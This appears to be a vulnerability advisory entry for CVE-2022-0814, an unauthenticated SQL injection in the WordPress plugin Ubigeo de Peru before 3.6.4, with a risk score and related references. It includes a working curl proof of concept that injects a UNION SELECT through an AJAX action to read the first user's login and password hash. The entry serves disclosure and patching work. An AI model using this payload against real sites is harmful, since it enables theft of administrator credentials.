Lucene search
CydaveWPEX-ID:FD84DC08-0079-4FCF-81C3-A61D652E3269HistoryApr 18, 2022 - 12:00 a.m.
Ubigeo de Peru < 3.6.4 - Unauthenticated SQLi
2022-04-1800:00:00
cydave
76
0.04 Low
EPSS
Percentile
92.2%
The plugin does not properly sanitise and escape some parameters before using them in SQL statements via various AJAX actions, some of which are available to unauthenticated users, leading to SQL Injections
curl https://example.com/wp-admin/admin-ajax.php \
--data 'action=rt_ubigeo_load_distritos_address&idProv=1 UNION SELECT 1,(SELECT user_login FROM wp_users WHERE ID = 1),(SELECT user_pass FROM wp_users WHERE ID = 1) from wp_users#'Related
cvelist
cvelist
CVE-2022-0814 Ubigeo de Peru < 3.6.4 - Unauthenticated SQLi
2022-05-09 16:50:32
patchstack
patchstack
cve
cve
CVE-2022-0814
2022-05-09 17:15:08
nvd
nvd
CVE-2022-0814
2022-05-09 17:15:08
wpvulndb
wpvulndb
Ubigeo de Peru < 3.6.4 - Unauthenticated SQLi
2022-04-18 00:00:00
nuclei
nuclei
Ubigeo de Peru < 3.6.4 - SQL Injection
2023-10-17 07:20:28
prion
prion
Sql injection
2022-05-09 17:15:00
cnvd
cnvd
WordPress Ubigeo de Peru plugin SQL injection vulnerability
2022-05-11 00:00:00